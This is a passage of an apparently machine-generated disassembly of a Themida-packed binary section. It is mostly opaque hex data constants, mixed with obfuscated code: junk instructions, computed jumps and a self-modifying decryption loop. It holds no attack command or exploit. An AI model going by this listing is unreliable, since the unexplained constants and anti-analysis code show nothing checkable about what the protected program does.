505EE215h, 2D6FD750h, 4BFFFFFFh, 34D19C6Dh, 0BD53F28Dh dd 0D9246F0Ah, 0A554F38Eh, 0D956D50Ch, 0E7E2171Ch, 7692317Ch dd 0DC53124Fh, 0A9285F9Ch, 16F0AD2Ah, 550E7E2h, 0E21713D0h dd 0EB2873E7h, 31F9FF7Ch, 664DEF7Ch, 94E5229Bh, 9077AE49h dd 9E0B4879h, 0EFDC41E5h, 0E53C0772h, 0D0AA125Eh, 5973h dd 108D0C00h, 0EFDC3A53h, 0D1E814B3h, 9D1D4986h, 40E9205Dh dd 0D6CA702Eh, 619938B9h, 29A61552h, 0EF7C5CF7h, 18A15C43h dd 0A43F8ADBh, 0DC6CB66Fh, 0DD843EFh, 8231C9B0h, 5BC48E7h dd 97D41F6Ah, 0AA6B072Ch, 0C845C4D0h, 0EFDC610Bh, 8930CC6Bh dd 1B58A3EEh, 0D4A2h, 9C6D7E00h, 1EEB8A25h, 17813EBBh dd 96E1E7E2h, 0D079B04Bh, 0C06F4E2h, 6E4582D5h, 8F36D29Fh dd 0C972A944h, 87CC378h, 663D7AEAh, 58971E97h, 932E9571h dd 9A9E0B48h, 86E7E226h, 10B73E77h, 0BE2DC8F9h, 230A417Eh dd 0F843DEE9h, 95CF4CBBh, 0EFEF7C3Ah, 66A61DA4h, 3575F229h dd 9FF7709Eh, 0B79E1D54h, 823F744Bh, 5CF7D91Eh, 0AFFA13AAh dd 0E11C0372h, 5FAA51D8h, 7BD02866h, 0D9A42F17h, 1F996h dd 7B32C500h, 6BD4DF4h, 952CD87Fh, 1E91670Eh, 0AC15F097h dd 0FA988B25h, 882FB60Fh, 14BB4273h, 0A148CFE6h, 9BD25968h dd 9EF2AF2Ch, 1952EFE1h, 6F56D5E5h, 39F62B92h, 99E7E217h dd 1AB500FAh, 19E584CFh, 7FBC07A2h, 0DD645DA8h, 67EEC736h dd 205D9D6Bh, 0C1C16AE9h, 0A31AE7A2h, 0E4F02A42h, 1A083AA7h dd 2772EF7Dh, 299E578Ch, 0C02BEFDDh, 2E979CF5h, 0D82AD0ABh dd 6000000h, 8A259C6Dh, 0CA71EEBh, 0E21BD3D7h, 774EBFE7h dd 15AC5940h, 9B7219D8h, 0D8208F2Ah, 6ED6CA3h, 0C324BFF6h dd 0CD1505D5h, 55F43F85h, 2B7611A8h, 0B44781EEh, 2A1EF7Ch dd 1F96660Bh, 53EE3984h, 9F86BD08h, 7EF8596Ch, 0A83DDAD7h dd 7EF5B4F1h, 4BCA013Eh, 3ECA9764h, 56A13C87h, 8DC7AC19h dd 7259F770h, 0F2912C99h, 0C813AE17h, 0A4EF407Dh, 0F26FEE6Dh dd 0F7D92035h, 2BC6F90Fh, 0D228C7E0h, 845B98E3h, 1AD75479h dd 7AF7D920h, 0B65DE42Fh, 0FA34724Bh, 0A62F1775h, 0E098DBh dd 29DE0000h, 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h dd 0BFA43EC5h, 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh dd 0BC845B4h, 6BEFE1A0h, 906DFE32h, 2FBA229h, 6D302CB3h dd 538A259Ch, 3BD09D6Ch, 59A4EF8Ah, 0FDB4451Ch, 96BFFF76h dd 34695CAFh, 0E7E21777h, 0A418CD7h, 7900F48Dh, 662B8CEFh dd 8D29D291h, 7C639AE5h, 0B5A9218Eh, 511FDF0Dh, 0EF6EA506h dd 850E89CAh, 27D67548h, 7443BBA2h, 9C598ED9h, 0FCEFE126h dd 38DF66B1h, 2055F0C1h, 0EC6377DAh, 33F2BDD8h, 0C582FFDAh dd 25FC63F7h, 0F23D7086h, 0FAE120A7h, 0A178B500h, 79225968h dd 0BF1CA638h, 0FFD20F64h, 7C17AE60h, 7C39041Fh, 6AD348Dh dd 0E916AF7h, 0EA4C544h, 0EA35805Ah, 80C4Fh, 0DAE80000h dd 457C8C73h, 9A6DDC08h, 10E98823h, 956706A1h, 13E88722h dd 9D6807A2h, 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h dd 68FA8A25h, 3837h, 53240C89h, 0C381E389h, 4, 4EB81h dd 1C870000h, 0C895C24h, 5F416824h, 1C890000h, 7B2E6824h dd 0C8B07FFh, 4C48324h, 241C8B54h, 4C481h, 8F510000h, 34FF0843h dd 0C4835B24h, 2434FF04h, 4C48159h, 0E9000000h, 0FFFBCA50h dd 0E1AF641h ; --------------------------------------------------------------------------- pop ss assume ss:nothing loc_5DBF11: ; CODE XREF: Themida_:005DAF10j mov eax, 7FF8A76h add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov ds:0E94219A4h, al db 36h pusha push edi db 3Eh push 26h cmp al, 19h sub ch, [esi] popa icebp adc eax, 1A760E04h stosb push ebx test [edi+1Ch], bl sbb al, 1Dh pop eax sub ebp, [eax+69h] sbb [edx], ecx add ebp, edx add esp, ebx dec edx push ebx retf ; --------------------------------------------------------------------------- dd 1B497B61h, 0FB8F57F7h, 0A8C7255h, 0ECB14980h, 0A60A2402h dd 72655325h, 337B15E2h, 9258148Bh, 98D967A6h, 6A4E5E11h dd 10730E36h, 27E919C3h, 0DD000000h, 569B06h, 8 dup(0) dd 2AE90000h, 9000005h, 0AE5B910Dh, 57043A64h, 0FDAAE0BEh dd 0A9568C12h, 0CC003668h, 0BDE13017h, 643ADA87h, 0F8F812Eh dd 0B7E72CD9h, 3E5AB281h, 7E60EDBh, 0A7ECA309h, 5E19F66Ch dd 0E683DF42h, 43AC05FFh, 0DDC153B8h, 267B0B74h, 69879E9h dd 43E9527Bh, 0C7C64BB0h, 0B461F749h, 21C170EAh, 0DE76AC15h dd 6E148A89h, 0C14C52C1h, 0AAF41C71h, 0BBBC5704h, 0E71B3C9Fh dd 930B06FFh, 90F952h, 14FD65ABh, 6DD6FF8Ah, 14B9E2h, 65F89Eh dd 0A8018C12h, 550D0358h, 2E57E2BCh, 0E49E1FC5h, 0C6E8EB15h dd 53AFFF2Bh, 8B1300ADh, 3668A855h, 0E1BD5300h, 0CADC0656h dd 5BAC0D45h, 67AD5A00h, 0DA1AAC37h, 26A6E3B0h, 882ECCDAh dd 0A7694D07h, 0FF14C1F7h, 82E8149Fh, 0B3FFE6C6h, 0D764012Bh dd 25000DA7h, 0A248B1EDh, 58986721h, 0E6F9D93Ch, 8AE07FFh dd 75050038h, 679E38h, 0A72F0000h, 5BB60B6Ch, 238FB843h dd 0FFE683C0h, 9F0E7CE6h, 27BAD351h, 7ACA55BEh, 0D99B9650h dd 0FD127DFAh, 84ED16A1h, 77056ADEh, 0AA32FFE7h, 76EB4E6Ah dd 8419FFE7h, 0FFA50E90h, 85BDC47Eh, 23387583h, 1, 0F76BA7B4h dd 921D8618h, 2EB9E52Dh, 0CD5846C9h, 9D813B74h, 7B23ED75h dd 285EC7F0h, 0D006987Bh, 0A967BC19h, 6FA24FF5h, 0D33FA42Fh dd 0F32440CBh, 0A6BC5539h, 94CA336Bh, 2F4B2CE7h, 0FFE683CCh dd 832C8FABh, 15AFFE6h, 0B8E62BC0h, 329B042Dh, 0CBD342A7h dd 0E09A1B40h, 837DE711h, 1F1ECBC0h, 1E61A979h, 6CFF3875h dd 90000000h, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0EBB35E0Bh dd 841AFB60h, 3598B4F4h, 5BFFE683h, 70C95C02h, 78997D37h dd 358F026h, 0DD06910Dh, 17878A37h, 0B6E8278Ch, 0CB85062Bh dd 74897CC4h, 511A38h, 75CA0000h, 4F78039Bh, 6AA7F2A9h dd 8E7A4B23h, 319A9B46h, 0CFCF41A6h, 5BF0044h, 78AEF021h dd 2184A0E0h, 4FFFE694h, 0BC9950F6h, 82FD607Ch, 0CA23FFE6h dd 39B7724h, 82E64C78h, 0A617FFE6h, 8FADE5ECh, 84B3874h dd 0FB000000h, 0AA3569A6h, 0A724DB81h, 55A5306Eh, 38E1000h dd 8C8734DAh, 0CCF58712h, 0B7E72E12h, 0F7692081h, 99ED4B67h dd 0C01907E0h, 5B43D035h, 39B7825h, 0C144973h, 0F9D5B657h dd 349B9058h, 791F8864h, 5D55BAE6h, 0FB3C07E1h, 0E8B65D41h dd 0CBAE2E58h, 0DB1B9F1h, 977C2967h, 0FC177C07h, 0CAFB17A2h dd 0B7E72C10h, 613DD227h, 75AD7DBBh, 5C406EB7h, 7E073B32h dd 0BE4ED4FAh, 0E0CE3FA2h, 660C6507h, 13785h, 96F31600h dd 0C81E3ACAh, 0D607E0B8h, 44CFCF41h, 0D727B21Bh, 670D9182h dd 0F4559BAh, 0C7DCB162h, 55DD0A11h, 18868C31h, 54BF24AFh dd 0F89D010Eh, 0D1FA8519h, 90C1DD68h, 7D21F2D6h, 0B75AAF47h dd 397141E7h, 0D7406F5Bh, 52h, 0C69AF368h, 83971A36h, 0E43D7FE6h dd 95F81454h, 0BB7FE682h, 0FD29BC62h, 7FE6829Ah, 0FC944E77h dd 747D791h, 4A4B07DDh, 0EBA76564h, 18C53F79h, 48C76CDFh dd 0B93CB056h, 27FFE5D8h, 28E93ECEh, 48C2EB76h, 0B2656E3h dd 7BB95FBAh, 9B94h, 96F32D00h, 0B41E3ACAh, 3207E09Ah dd 0C029759Dh, 2D35DB30h, 52EB9E5h, 67AC119Ch, 1A83AC37h dd 990B6E8Ah, 0E03907E0h, 0D142A73Ah, 29EA97CDh, 459AEA75h dd 0A44CFCFh, 0C1723D2Fh, 6AC1525h, 0E1202A92h, 7E387907h dd 0EF25799Ah, 910D0257h, 0D637DD06h, 11DADB3h, 0FE0AAD0h dd 4DB23D96h, 0BB4DD8C6h, 6441517Bh, 0A63C5284h, 2DC57F00h dd 5874045Ch, 7EBC027h, 1F829EDEh, 0C07E0BCh, 2C8AF647h dd 0E63F8093h, 42CDD141h, 0D12A7319h, 82E50141h, 0B007E08Ch dd 0BC73B157h, 3ACA96F3h, 0E60EED1Eh, 0F37EA807h, 741E36F8h dd 2A83CC72h, 0F30F4F9Fh, 7E66D90h, 0EEE35DB6h, 0B63D3126h dd 0D53EEB91h, 2DE693C9h, 77BAE671h, 5594A45h, 0E52E12CCh dd 3DD683B9h, 9E71D661h, 0A3E37500h, 3CE44763h, 0B9125682h dd 0F4D89213h, 0FC18581Fh, 56823D99h, 9F026EC7h, 0C556823Dh dd 20CD036Ch, 8120ABF3h, 1Ch, 7ADDF939h, 0A856823Dh, 37A0FE13h dd 7BBBDA91h, 27B2EC26h, 0E2BC59FEh, 0D1882E57h, 0A42F6FA7h dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E2895252h, 4C281h dd 0EA830000h, 24148704h, 2434895Ch, 7B2368h, 24048900h dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 52243C89h, 9308A068h dd 24148B36h, 4C481h, 0EA810000h, 18000C4h, 4172EA81h dd 0E281237Dh, 2423234Eh, 76E8EA81h, 0D089F801h, 3C8B545Ah dd 4C48324h, 0FBB5352h, 0BA52912Fh, 52912F07h, 15BDA31h dd 5A0289FAh, 5F2434FFh, 4C481h, 34FF0000h, 0C4835824h dd 0EE6AE904h, 90E3FFFAh, 9000B854h, 0C50307FFh, 4920E0FFh dd 37AE40FFh, 0BC3F19C1h, 2EB81343h, 51302E47h, 35FC7013h dd 0D8753555h, 8BF3534Eh, 596B5CEFh, 5EC45E39h, 8E8B3D2Eh dd 0A9535966h, 0F5A75C99h, 11DF2A35h, 0B7D29E1h, 0B72736F6h dd 0E6A85854h, 93A207BAh, 0A37C7D7Eh, 311C6A3Ah, 0B6BB6065h dd 0D45E33C0h, 0F4670AD5h, 16187619h, 0B8A432Bh, 12E848F5h dd 0D4000000h, 0EA7F2113h, 0E8ECEB3Dh, 0A7B25229h, 0CB1E7C84h dd 0BE91Ah, 7F00000h, 4F320050h, 871EE066h, 11E85B6Ch dd 59000000h, 61843AB8h, 0C41DC173h, 4BA940D5h, 0E40D375Eh dd 5850Fh, 5BBA0000h, 5A718ECBh, 5CF7C381h, 81510000h dd 0A33B17D6h, 0FAB95A6Ch, 0F000016h, 1784h, 0FE800h, 0C4530000h dd 51675D33h, 7B8BC36h, 23EB028h, 5E585240h, 6E833FFh dd 0A7000000h, 8CE7AB9Dh, 1CEA8189h, 5E22C2D6h, 902FBE5Fh dd 0C7812606h, 6CC7143Dh, 9949C781h, 8A0F5D55h, 5, 0B95984BEh dd 0C1C78105h, 0F4444B5h, 8Ah, 603B8900h, 8E1BE66h, 8E9h dd 652E2700h, 0C29642C7h, 0EB8161DDh, 7848ABD3h, 13E8h dd 58C5C200h, 4F285CF3h, 1D74245Ch, 0AFF9EF59h, 5F096A80h dd 315ED281h, 815A7839h, 48ABCFC3h, 81665378h, 5A5497CEh dd 75850F49h, 0E9FFFFFFh, 0Eh, 0DA140991h, 3500499Ah, 0B748CFB6h dd 9D8D0A94h, 7FA17D9h, 0CEB8h, 0CD858900h, 0E807FA14h dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5DC743 ; --------------------------------------------------------------------------- db 2 dup(0), 0F2h dd 32h dup(0F2000076h) db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5DC743: ; CODE XREF: Themida_:005DC670j jmp short loc_5DC7A5 ; --------------------------------------------------------------------------- align 4 dd 17h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5DC7A5: ; CODE XREF: Themida_:loc_5DC743j jmp loc_5DD282 ; --------------------------------------------------------------------------- jmp loc_5DD27B ; --------------------------------------------------------------------------- push 7FF9AD7h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FF9C13h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FF9C66h jmp loc_58B334 ; --------------------------------------------------------------------------- db 33h, 0E3h, 0BBh dd 643AD885h, 0A94812Eh, 0B6E827D4h, 603ED380h, 5A41F62Ah dd 4B1E7B7h, 0AB588E10h, 56033965h, 0DCABE1BDh, 16056884h dd 0C52B07E6h, 0A6DA70Eh, 0E6838BEEh, 0F760B9FFh, 0AF04546Ch dd 8AB33E60h, 0C1DD37E4h, 2D35DE8Bh, 22BB6E8h, 67A90E99h dd 0CD47AC37h, 30E146D1h, 937EE36Eh, 0F41B800Bh, 5BBA1FAAh dd 0BF53B843h, 4E3B54DFh, 0F65F3FD6h, 15EB4A66h, 841907E6h dd 5C85108Eh, 40E63F3h, 8B03649Ah, 0CA2945D5h, 0F807E616h dd 64AF149Fh, 0BF55AA3Ah, 44FB39DFh, 0F1AD67BCh, 29759E4Bh dd 0D1CD4499h, 71C1742Bh, 0FFA5F91Ch, 0C799F348h, 845F1618h dd 3774833Ch, 2CDAh, 0E0358A00h, 640A33BEh, 0C799F3ADh dd 3DA0BC18h, 63FFE683h, 5DBC5B0Ah, 84336BA7h, 0E11692BCh dd 0F3929F59h, 6D43A24Dh, 3Fh, 0C799F306h, 527CBC18h, 394037FDh dd 0BE218D3Dh, 0E4FFE736h, 314DE58Bh, 0FFE736CEh, 0DEC050A5h dd 19842A53h, 0E64F4FC4h, 8A140156h, 7930D6FFh, 6BA75DBCh dd 0E5C1A222h, 0E64F26FBh, 0F34AA937h, 1E3ACA96h, 7E0A07Ch dd 1A46D12Ah, 7E09FB3h, 0B3823CBDh, 9EF45773h, 0C92207E0h dd 0AB1B5323h, 62B9406Eh, 4A000001h, 35C59BF3h, 0E683BE19h dd 0D24095FFh, 731841CCh, 4972FDA1h, 71015AA3h, 0BEB67B47h dd 46EC1798h, 20E63B3h, 42E8119Ch, 90207E95h, 11D13450h dd 0A6FFFFE7h, 0BC0BC200h, 4FF5A967h, 9D2D71A2h, 0C1647E73h dd 761CDBC8h, 0F352C1BFh, 1618C799h, 833C845Fh, 41DA3774h dd 6B000000h, 18C799F3h, 833DA0BCh, 0A63FFE6h, 527CBC5Bh dd 0A8C6449h, 1B85E8Fh, 1EF76BA7h, 0A9681780h, 456D4Ah dd 0FB250000h, 0E87EDA3Bh, 96F915EBh, 0BCFFE6E5h, 4E6AFA63h dd 0FFE6E4EBh, 631AC019h, 18C799F3h, 833DA0BCh, 2841FFE6h dd 0BC5DBC79h, 4BF1AD67h, 7B2A749Eh, 993692BCh, 91E44763h dd 0B912FFE6h, 2CA8D83Fh, 0F37CDB86h, 1935C59Bh, 0FFE683C2h dd 0F98B5781h, 0E9AA95CEh, 16A1FA43h, 0AC3C62B1h, 57E2BC57h dd 934A882Eh, 83326CA7h, 0F1AD67BCh, 0F349B84Bh, 2276A099h dd 2C0F659Dh, 2594F763h, 69C2FFE7h, 5F165100h, 0F4AA67BCh dd 83367E4Eh, 28D43774h, 65000000h, 18C799F3h, 0EE277CBCh dd 1A5A36B0h, 0C453709Dh, 4C47AA1Eh, 146DFFE7h, 0A75DBC65h dd 0A984336Bh, 1D6D4Ah, 0F3060000h, 0BC18C799h, 6BF6A867h dd 0E8049C42h, 0FFE68385h, 0BCC17089h, 336BA75Dh, 6D4AA984h dd 0B5h, 0C59BF306h, 83BE1935h, 8BE4FFE6h, 0B571D1FBh dd 0CD7579B4h, 0E42F9427h, 97EC84BAh, 0C37A207Eh, 83326CA7h dd 99F352C1h, 5F1618C7h, 74833C84h, 0C7E32337h, 0FCE68364h dd 0B2933992h, 51h, 0A099F343h, 0E6832184h, 8DF64FFFh dd 3DA0BCDEh, 14FFE683h, 0BF4A54BFh, 27A7F096h, 0D45F3FD2h dd 83DC3FABh, 750AFFE6h, 4A73FEA0h, 93E878E1h, 0C0771D81h dd 6BA75DBCh, 0C24EA333h, 0A97F36DCh, 2F6D4Ah, 0E5250000h dd 0E68366C9h, 8D338CFFh, 0C799F3D6h, 0AC67BC18h, 834CAFCBh dd 217AFFE6h, 5E042DB8h, 8347AAC6h, 324BFFE6h, 0A75DBC83h dd 0A984336Bh, 0AC67BC4Ah, 749F4CF2h, 0D63A9F2Ah, 2EE592C8h dd 54B9E570h, 0F1FFE683h, 4ED587B1h, 17B23EDh, 0DA808F2Ch dd 58BB9F59h, 2284090Ah, 37A6518h, 6CFC65CEh, 4C260942h dd 0E98F613Bh, 51BE13ABh, 19FAA74Dh, 0C69FA85h, 16A1FD16h dd 0FB1760B1h, 0FFE75A98h, 71FC65BEh, 9B6A2455h, 0E75A1C7Fh dd 88F14AFFh, 0A55B8505h, 61B4E831h, 27E16208h, 98CED043h dd 7E0E5237h, 0E177C062h, 28DE607h, 8AF688B2h, 0B74A6339h dd 43369D11h, 0BF4007E1h, 4FC6FE05h, 58AD406Fh, 5A3BE1BDh dd 2Ch, 326CA7EBh, 83187BA7h, 84ADFFE6h, 352DE6CAh, 0B34BFDFh dd 71E812A2h, 63E6B40Eh, 0FE8915FEh, 88C66CD5h, 2A749BF0h dd 19D0769Fh, 0A7326CA7h, 0D565FB8Eh, 0E616AEB9h, 719F3407h dd 2D8EC42Dh, 5874045Ch, 0FE032B6h, 9F5572DCh, 0DF898B98h dd 48BCE676h, 7C778B7Ch, 669225CBh, 0FFEC74FFh, 12477109h dd 0C74555C3h, 811DF499h, 0A627CDF6h, 0CCADE5ECh, 384B3879h dd 0DC000000h, 35C59BF3h, 0E683C619h, 0EB287DFFh, 4FC328B3h dd 0F740E64Fh, 57B90E9Eh, 83A10420h, 76CFFFE6h, 0B359820Dh dd 284FC61Bh, 0E683A90Ch, 157ED7FFh, 1BF8DFh, 0F3910000h dd 1935C59Bh, 0FFE683C2h, 92E777D0h, 618B1B83h, 311050CDh dd 0A1DF85E9h, 1B46DEAh, 0E5250000h, 0E68366C9h, 8D338CFFh dd 0C49CF3D6h, 0BC52C115h, 82FD607Ch, 0CA23FFE6h, 29C7724h dd 845F1653h, 3774833Ch, 53DAh, 67BC6B00h, 3F68F3ABh, 833093AFh dd 0FD56FFE6h, 0CF99F657h, 3DA0BC20h, 63FFE683h, 0D05B43CEh dd 84AE3EA7h, 0BCB1936Eh, 8E77FFB2h, 2DDCD9BAh, 0BC671EC4h dd 0AB67BC5Dh, 75A04DF3h, 0CF449929h, 0A97229CFh, 7AA83F69h dd 0DF928BEBh, 3A6D8239h, 6000000h, 15C49CF3h, 833DA0BCh dd 1741FFE6h, 0AC013CBEh, 504EC40Eh, 0CA339CC5h, 0BDDB103Ah dd 0BDE7691Eh, 7CBC6017h, 20A0ED27h, 0DA7963C1h, 56BF64CDh dd 0A7EBA248h, 0A981306Eh, 607CBC4Ah, 0FFE682FDh, 7724CA23h dd 0BC53029Ch, 0FB47B892h, 0B3594905h, 99F3B120h, 30E237C7h dd 1611C86Eh, 833C845Fh, 62DA3774h, 6B000000h, 0B5F392BCh dd 9940A0Bh, 419166E0h, 0CF3866A9h, 0A2C4C829h, 3DA0BCF3h dd 63FFE683h, 1E3A7A0Ah, 0FFE683BBh, 33EA90E9h, 7C527CBCh dd 3F58BFBBh, 81012D9Bh, 2F1AE07h, 92BCA55Ch, 2A0F43CCh dd 2BD87EDCh, 5997BE7h, 0B0CC0C9Ch, 0FFE6D54Dh, 0A0751A73h dd 0A44A73FEh, 6D4AA9EDh, 43h, 0C799F306h, 3DA0BC18h, 41FFE683h dd 92BC7928h, 0B29A3A57h, 5648CAF7h, 9339A2CBh, 7CBC9CFBh dd 0E682FD60h, 3ACA23FFh, 0E683BB1Eh, 0EA90E9FFh, 1AC9D53Dh dd 0D2969A9h, 0FFE683AAh, 35DA7FD8h, 0A70CC369h, 50A53569h dd 2851DCC2h, 5F9FEF82h, 0E683E043h, 7AD06FFh, 0E6832D93h dd 0CAF43CFFh, 62649C21h, 8F10B677h, 7F1FF1D5h, 69A79249h dd 838FF20Eh, 147CFFE6h, 815A57B5h, 3DD86DAEh, 44ADD661h dd 0C52E709Fh, 76D9F535h, 4DFFE77Ah, 0E77ACE31h, 5A9BF4FFh dd 78C85B01h, 24AFEF23h, 7A55B8D4h, 227BFFE7h, 0AA6613B9h dd 1C4D69F4h, 0E5927E62h, 0E77A66C9h, 1CF78CFFh, 7AB01982h dd 0E784E006h, 81D666FFh, 57800B93h, 88A6E1B1h, 0EE463875h dd 0D7FFFFFDh, 0E68379E0h, 83957CFFh, 3498FFE6h, 37FFE683h dd 0FFE683D0h, 0E6836CD3h, 83086FFFh, 6B1EBFE6h, 0E52565F5h dd 0E68366C9h, 8D338CBFh, 0E3A85519h, 9D2881C7h, 0CB5B0584h dd 2945618Bh, 65771188h, 0A1014BBFh, 0CC25CFDEh, 99E4360Eh dd 3DDC1759h, 294h, 0D006987Eh, 79AFEF23h, 1F5549CCh, 0CB019D72h dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h, 749F4C82h dd 0CD25F42Ah, 0E61D4EB1h, 570E7407h, 0A7326CA7h, 0D565FB8Eh dd 0E616AAB9h, 0A9DF3807h, 0E616CE35h, 0BBA5E407h, 0A9AC0F2Bh dd 81DA0FE5h, 28769CF1h, 7E95EA82h, 837ADDF9h, 0CF44FFE6h dd 16F98ECFh, 6BD4FD88h, 0F41FCC02h, 8FCF1FAAh, 84E54165h dd 2591A43Dh, 0FFE69DC2h, 7DF197F0h, 0FFE69D1Eh, 6BFB6524h dd 6CCFEB2Bh, 9AFFE69Dh, 20279B41h, 8E07E631h, 0C350A535h dd 1BF8A5DBh, 0AADFF883h, 0FF0A26B6h, 0A50FE59Fh, 0E1A8C14Ch dd 7B9AEF7Fh, 9D7DE0FCh dd 4AA3FFE6h, 8E1C56E1h, 4BBDD1F9h, 6A02A811h, 0E6D7EF4Eh dd 24B40D07h, 0E2139FFAh, 6A1051BCh, 0E1967DD2h, 0E64B62C5h dd 0CE379007h, 732BE93Eh, 0C9283E8h, 12BFFDA3h, 0F75A7601h dd 1D07E64Ah, 67D84AC4h, 5F470B1Bh, 943C66F6h, 3123D7AAh dd 123ED177h, 7E644ABh, 898C8C1h, 0E5D3DDECh, 4682AC0Fh dd 9F83890Bh, 8FE831D7h, 0C29EEB04h, 0C7101632h, 65BE07E0h dd 640385A7h, 0CC6BA69Eh, 158h, 0C425CBAh, 0B5EBB35Fh dd 5B910D08h, 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch dd 0E030DD13h, 38DB88BEh, 9613066h, 0E61F8AEDh, 9B52B807h dd 3ACA96F3h, 0E6170F1Eh, 0A9348D07h, 0D767F990h, 0E03801BBh dd 0CE8CE50Fh, 999B8A62h, 5E988C3h, 0D000001h, 0B25F9509h dd 5B083E60h, 1AEE4BAh, 0AD5A900Eh, 0D0043A64h, 0C1DD341Bh dd 6836DE8Bh, 138B8532h, 0BBE330DDh, 425EB685h, 7E61FDFh dd 0BCE89F05h, 4FF5A967h, 35C59BEEh, 0E6171219h, 0F61C7107h dd 4EF41DA8h, 0C71CAC05h, 1BAE544Ah, 0B415DB6h, 5EE9B55Eh dd 8C1C4445h, 0E5A90D70h, 5EB3330Fh, 355EE9B5h, 0E68366C9h dd 8E338CFFh, 7CB21B83h, 255B43CFh, 0CE314D8Dh, 0F4FFE683h dd 0CD48F59Bh, 21EE9BD1h, 83D73A56h, 0A4FDFFE6h, 2D6D053Bh dd 0E683AE11h, 3854D4FFh, 0FFE683D5h, 9339A2FBh, 3D732BE6h dd 0DBC350A5h, 0D4812750h, 7E2B613Dh, 25D20896h, 0D07DB3EBh dd 8D255B43h, 1CC2DC38h, 0C3F9A56Fh, 0A9392762h, 0AA0D2969h dd 74FFE683h, 65BEFF9Fh, 15E84BBFh, 95BF07E6h, 1E0F47CCh dd 0C6E2722Bh, 7E62463h, 49923891h, 130065F0h, 0D6E558Bh dd 7000000h, 0FD607CBCh, 23FFE682h, 2C8B24CAh, 0A42F6FA7h dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 32D76852h, 2C890000h dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 782Eh mov [esp], ebx push esi mov esi, 76587DADh shl esi, 2 neg esi add esi, 70B0271Ah push edi mov edi, 3462798Ch neg edi neg edi inc edi or edi, 4112035Dh xor edi, 0FA3CE707h sub esi, edi pop edi mov ebp, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push 6AA1h mov [esp], eax mov eax, 8 add eax, ebx mov [eax], ebp pop eax push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 6Bh, 0F4h, 0E5h dd 6118E456h, 101DB53Fh db 5Fh, 0DEh, 0B1h ; --------------------------------------------------------------------------- loc_5DD27B: ; CODE XREF: Themida_:005DC7AAj mov eax, 7FF9D90h add eax, ebp loc_5DD282: ; CODE XREF: Themida_:loc_5DC7A5j mov eax, ebx call sub_5DD290 dec ecx cwde ; --------------------------------------------------------------------------- db 0FEh dd 795746E0h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5DD290 proc near ; CODE XREF: Themida_:005DD284p jmp sub_5DD2A1 sub_5DD290 endp ; --------------------------------------------------------------------------- fcom dword ptr [ebx+ebx*2] cmp eax, 7E247E52h push es dec esi and ah, bl ; =============== S U B R O U T I N E ======================================= sub_5DD2A1 proc near ; CODE XREF: sub_5DD290j arg_0 = dword ptr 4 pop ecx mov eax, ebx add ecx, 74C7h xor dl, 0C4h mov ebx, 12CEE352h xor ebx, 12CEFE54h jmp loc_5DD2CE ; --------------------------------------------------------------------------- db 86h, 22h, 2Bh dd 0B8FF28ECh, 329E8770h, 5C16E28Dh ; --------------------------------------------------------------------------- jge short loc_5DD2E4 loc_5DD2CE: ; CODE XREF: sub_5DD2A1+17j ; sub_5DD2A1+8Cj push dword ptr [ecx] pusha sub esi, 59D67989h add dx, 0E551h popa pop edi jmp loc_5DD2F3 ; --------------------------------------------------------------------------- inc ecx loc_5DD2E4: ; CODE XREF: sub_5DD2A1+2Bj aam 87h xor bl, [eax+eax*8-5CA0B448h] mov edx, 9F55242Bh ; --------------------------------------------------------------------------- db 0A2h ; --------------------------------------------------------------------------- loc_5DD2F3: ; CODE XREF: sub_5DD2A1+3Dj add edi, 4BD03979h jmp loc_5DD304 ; --------------------------------------------------------------------------- fst dword ptr ds:9F3B3AC9h loc_5DD304: ; CODE XREF: sub_5DD2A1+58j sub edi, 6F9F484Ch sub edi, 69684DD0h jo loc_5DD319 movzx esi, ax loc_5DD319: ; CODE XREF: sub_5DD2A1+6Fj mov [ecx], edi mov dx, bx sub ecx, 3 jnp loc_5DD329 mov dh, 11h loc_5DD329: ; CODE XREF: sub_5DD2A1+80j dec ecx mov dh, 0D1h dec ebx jnz loc_5DD2CE jnb loc_5DD33C mov dx, ax loc_5DD33C: ; CODE XREF: sub_5DD2A1+92j jmp loc_5DD484 ; --------------------------------------------------------------------------- cmc lea esi, [ebp+7FF9F7Eh] clc lea eax, [ebp+7FD7DE2h] push 0 push edi call loc_5DD35A and [edi-3Dh], bl loc_5DD35A: ; CODE XREF: sub_5DD2A1+B1p pop edi mov [esp+arg_0], edi add [esp+arg_0], 16h inc edi push edi retn ; --------------------------------------------------------------------------- dw 4806h dd 1860FB4h, 0F8000000h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 41726DC3h, 81500EDDh dd 6AC390B4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0A59EC357h, 165CC1D0h, 66326226h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A30D64C3h, 816660A0h, 0B77161D2h, 0C1F661F6h dd 4B840F04h, 0F5000000h, 0C8D0Fh, 840F0000h, 6, 8F0Fh dd 